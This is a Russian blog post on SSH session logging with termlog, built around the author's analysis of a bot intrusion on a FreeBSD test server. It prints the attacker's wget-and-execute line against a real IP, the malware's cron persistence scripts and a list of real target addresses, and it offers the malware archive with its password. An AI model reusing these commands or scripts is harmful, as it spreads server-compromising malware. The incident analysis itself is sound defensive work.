Доброго времени суток. Хочу рассказать вам о полезности ssh-логгеров.
В качестве серверной системы я предпочитаю использовать FreeBSD. И, как правило, устанавливаю termlog – системная утилита для логгирования ssh-сессий всех пользователей. К сожалению, сейчас в 9 версии termlog помечен как broken, потому что utmp был признан устаревшим и заменен на utmpx, поэтому termlog работает максимум только на 8 версии с небольшой правкой исходников:
Файл fileops.c, функция snp_setup
Будем все же надеяться, что termlog перепишут для 9-й версии, потому что это очень полезная утилита. И вот почему. Однажды на тестовом сервере, который имел dyndns адрес и использовался для экспериментов, я установил termlog и создал пользователя test с паролем test, на котором проверял работу termlog, после чего благополучно забыл об этом пользователе. Спустя некоторое время, я обнаружил записанную ssh-сессию пользователя test, о котором кроме меня никто не знал:
Итак, что же это было? Очевидно, что некий бот гуляет по просторам Интернета и пытается подключиться к серверам с открытым 22 портом, используя простые пары логин, пароль вида test, test или user, pass. И должен признать, у него получилось. Он угадал имя и пароль случайно забытого мною пользователя и сумел войти в систему. Что же он делал дальше? Первым делом, он сменил пароль пользователю test, и подготовил для себя директорию «…»
После чего скачал kde, распаковал его и попытался запустить распакованное.
Как вы уже могли догадаться, там было вовсе не kde, а кое-что гораздо менее безобидное. При распаковке этого архива Miscrosoft Security Essentials нашел 4 угрозы:
Backdoor, flooder и DoS угрозы! А по первому я так ничего и не смог нагуглить. Неслабо, теперь разберемся, как же он внедряется в систему.
Судя по всему начинается все отсюда — ./start.sh
Здесь вызываются 2 скрипта autorun, который автоматизирует запуск и собственно сам запуск — run.
Взглянем на ./autorun
Сначала бот зачем-то использует файл dir в качестве буфера что бы получить в переменную dir абсолютный адрес к текущему каталогу. Хотя мог бы просто использовать dir=`pwd`, возможно файл dir используется где-то еще каким-нибудь другим скриптом для получения текущего каталога.
Затем пишет в файл «cron» задание на постоянный запуск скрипта update зануляя вывод ошибок и отчетов и добавляет этот файл с заданием в планировщик крон.
После чего еще и проверяет, добавилось ли задание
Видимо сессия пишется и на той стороне, и кто-то просматривает успешность внедрения. Или это все как-то автоматазировано.
А теперь бот формирует update скрипт, который запускает скрипт run если он не запущен и если запуск уже был произведен то, размножается посылая основному процессу сигнал CHILD. В задании указано время * * * * *, следовательно каждую минуту будет формироваться новый дочерний процесс.
Скрипт run содержит вызов crond, который судя по всему запускает все backdoor-ы flooder-ы и прочие гадости из папки kde и является бинарным файлом. Антивирус ругается именно на файл stealth.
А вот эта строчка из лога ssh-сессии дает понять что бот ошибся в синтаксисе. Видимо скрипт не был протестирован на FreeBSD 8 и использует в бинарном файле shell команды.
Также я заметил файл bang.txt в которым был список ip адресов с портами вида:
Скорее всего это список целей для DoS или Flood атаки. Смотрите kde.tgz (пароль от архива — habr), если кому интересно скачивайте и смотрите, может быть ip адрес вашего сервера тоже в списке.
Подведем итоги
Я намереваюсь продолжить цикл статей на эту тему обзором ssh-логгеров под разные unix-системы и написанием серверного антивируса, который будет перехватывать обращения к файловой системе через ядро и проверять вносимые изменения, уведомлеять/блокировать/делать резервную копию заражаемого файла.
Решение по правке исходников termlog найдено на forum.lissyara.su
В качестве серверной системы я предпочитаю использовать FreeBSD. И, как правило, устанавливаю termlog – системная утилита для логгирования ssh-сессий всех пользователей. К сожалению, сейчас в 9 версии termlog помечен как broken, потому что utmp был признан устаревшим и заменен на utmpx, поэтому termlog работает максимум только на 8 версии с небольшой правкой исходников:
Файл fileops.c, функция snp_setup
+ logname[rindex(logname,'/')-logname] = 'D'; sm->fp= fopen(logname, "w");
Будем все же надеяться, что termlog перепишут для 9-й версии, потому что это очень полезная утилита. И вот почему. Однажды на тестовом сервере, который имел dyndns адрес и использовался для экспериментов, я установил termlog и создал пользователя test с паролем test, на котором проверял работу termlog, после чего благополучно забыл об этом пользователе. Спустя некоторое время, я обнаружил записанную ssh-сессию пользователя test, о котором кроме меня никто не знал:
;; Session started: 2012-01-09 16:52:36.811241 ;; Username: test ;; TTY line: pts/0 $ w 7:52PM up 1 day, 4:07, 1 user, load averages: 0.00, 0.00, 0.00 USER TTY FROM LOGIN@ IDLE WHAT test pts/0 techsrv-kvm.vpsh 7:52PM - w $ passwd Changing local password for test Old Password: New Password: Retype New Password: $ cd /var/tmp $ ls -a . .. vi.recover $ mkdir ... $ cd ... $ $ wget http://85.112.29.165/kde.tgz ; tar zxvf kde.tgz ; rm -rf kde.tgz ; cd .kde ; chmod +x * ; ./start.sh --2012-01-09 19:56:12-- http://85.112.29.165/kde.tgz Connecting to 85.112.29.165:80... connected. HTTP request sent, awaiting response... 200 OK Length: 218392 (213K) [application/x-gzip] Saving to: `kde.tgz' 0% [ ] 0 --.-K/s 4% [> ] 9,544 36.9K/s 11% [===> ] 24,988 48.2K/s 22% [=======> ] 48,856 63.1K/s 39% [==============> ] 86,764 83.9K/s 58% [=====================> ] 127,480 99.1K/s 72% [===========================> ] 158,368 102K/s 76% [============================> ] 166,792 91.8K/s 80% [==============================> ] 176,620 86.7K/s 94% [===================================> ] 206,104 90.7K/s 100%[======================================>] 218,392 95.3K/s in 2.2s 2012-01-09 19:56:15 (95.3 KB/s) - `kde.tgz' saved [218392/218392] x .kde/ x .kde/1 x .kde/autorun x .kde/b x .kde/b2 x .kde/bang.txt x .kde/cron x .kde/crond x .kde/dir x .kde/f x .kde/f4 x .kde/fwd x .kde/j x .kde/j2 x .kde/mech.help x .kde/mech.set x .kde/run x .kde/s x .kde/sl x .kde/start.sh x .kde/std x .kde/stealth x .kde/stream x .kde/talk x .kde/tty x .kde/update x .kde/v2 x .kde/x ./start.sh: /#bin/bash: not found * * * * * /var/tmp/.../.kde/update >/dev/null 2>&1 ELF binary type "0" not known. crond: 1: Syntax error: "(" unexpected $ rm -rf * $ cd .. $ ls -a . .. .kde $ rm -rf .kde $ w 7:56PM up 1 day, 4:11, 1 user, load averages: 0.22, 0.07, 0.02 USER TTY FROM LOGIN@ IDLE WHAT test pts/0 techsrv-kvm.vpsh 7:52PM - w $ exit
Итак, что же это было? Очевидно, что некий бот гуляет по просторам Интернета и пытается подключиться к серверам с открытым 22 портом, используя простые пары логин, пароль вида test, test или user, pass. И должен признать, у него получилось. Он угадал имя и пароль случайно забытого мною пользователя и сумел войти в систему. Что же он делал дальше? Первым делом, он сменил пароль пользователю test, и подготовил для себя директорию «…»
$ passwd $ cd /var/tmp $ ls -a . .. vi.recover $ mkdir ... $ cd ...
После чего скачал kde, распаковал его и попытался запустить распакованное.
wget http://85.112.29.165/kde.tgz ; tar zxvf kde.tgz ; rm -rf kde.tgz ; cd .kde ; chmod +x * ; ./start.sh
Как вы уже могли догадаться, там было вовсе не kde, а кое-что гораздо менее безобидное. При распаковке этого архива Miscrosoft Security Essentials нашел 4 угрозы:
- Linux/Xhide.E
- Linux/Small.B
- Linux/Slice.A
- Perl/Shellbot.S
Backdoor, flooder и DoS угрозы! А по первому я так ничего и не смог нагуглить. Неслабо, теперь разберемся, как же он внедряется в систему.
Судя по всему начинается все отсюда — ./start.sh
/#bin/bash ./autorun ./run
Здесь вызываются 2 скрипта autorun, который автоматизирует запуск и собственно сам запуск — run.
Взглянем на ./autorun
#!/bin/sh pwd > dir dir=$(cat dir) echo "* * * * * $dir/update >/dev/null 2>&1" > cron crontab cron crontab -l | grep update echo "#!/bin/sh if test -r $dir/mech.pid; then pid=\$(cat $dir/mech.pid) if \$(kill -CHLD \$pid >/dev/null 2>&1) then exit 0 fi fi cd $dir ./run &>/dev/null" > update chmod u+x update
Сначала бот зачем-то использует файл dir в качестве буфера что бы получить в переменную dir абсолютный адрес к текущему каталогу. Хотя мог бы просто использовать dir=`pwd`, возможно файл dir используется где-то еще каким-нибудь другим скриптом для получения текущего каталога.
pwd > dir dir=$(cat dir)
Затем пишет в файл «cron» задание на постоянный запуск скрипта update зануляя вывод ошибок и отчетов и добавляет этот файл с заданием в планировщик крон.
echo "* * * * * $dir/update >/dev/null 2>&1" > cron crontab cron
После чего еще и проверяет, добавилось ли задание
crontab -l | grep update
Видимо сессия пишется и на той стороне, и кто-то просматривает успешность внедрения. Или это все как-то автоматазировано.
А теперь бот формирует update скрипт, который запускает скрипт run если он не запущен и если запуск уже был произведен то, размножается посылая основному процессу сигнал CHILD. В задании указано время * * * * *, следовательно каждую минуту будет формироваться новый дочерний процесс.
echo "#!/bin/sh if test -r $dir/mech.pid; then pid=\$(cat $dir/mech.pid) if \$(kill -CHLD \$pid >/dev/null 2>&1) then exit 0 fi fi cd $dir ./run &>/dev/null" > update chmod u+x update
Скрипт run содержит вызов crond, который судя по всему запускает все backdoor-ы flooder-ы и прочие гадости из папки kde и является бинарным файлом. Антивирус ругается именно на файл stealth.
#!/bin/sh export PATH=. Crond
А вот эта строчка из лога ssh-сессии дает понять что бот ошибся в синтаксисе. Видимо скрипт не был протестирован на FreeBSD 8 и использует в бинарном файле shell команды.
ELF binary type "0" not known. crond: 1: Syntax error: "(" unexpected
Также я заметил файл bang.txt в которым был список ip адресов с портами вида:
62.231.97.194:25 193.226.151.44:80 81.196.51.19:1025 193.231.212.123:80 80.97.145.79:80 81.196.102.250:443 81.196.119.21:1025
Скорее всего это список целей для DoS или Flood атаки. Смотрите kde.tgz (пароль от архива — habr), если кому интересно скачивайте и смотрите, может быть ip адрес вашего сервера тоже в списке.
Подведем итоги
- Использование ssh-логгеров может быть очень полезным. Если ваш сервер взломали, то вы можете узнать, как это сделали и закрыть дыру. Злоумышленник может, конечно, потереть лог ssh-сессии, но маловероятно, что он будет тратить на это время. К тому же если это еще и бот.
- Серверные malware опасны не менее клиентских, так как зомбируют unix серверы и используют их в своих грязных целях.
- Соблюдайте элементарные правила безопасности — используйте ssh-ключи или устойчивые к перебору пароли, в случае необходимости использования паролей, и меняйте их периодически.
- Используйте хороший антивирус или ОС не windows семейства. На многих хостингах для ftp и ssh используется один и тот же аккаунт. Таким образом, если у вас троян на вашем компьютере, то он может украсть ваш логин и пароль от вашего сервера из ftp менеджера и злоумышленник сможет использовать, что бы успешно авторизоваться по ssh, ну а что бывает дальше, я думаю итак понятно.
- Проверьте список заданий назначеных в cron, init.d, rc.d и т.д на вашем сервере. Вполне может быть что ваш сервер зомбирован, а вы об этом не знаете.
- Удаляйте тестовые аккаунты, когда они становятся не нужны.
Я намереваюсь продолжить цикл статей на эту тему обзором ssh-логгеров под разные unix-системы и написанием серверного антивируса, который будет перехватывать обращения к файловой системе через ядро и проверять вносимые изменения, уведомлеять/блокировать/делать резервную копию заражаемого файла.
Решение по правке исходников termlog найдено на forum.lissyara.su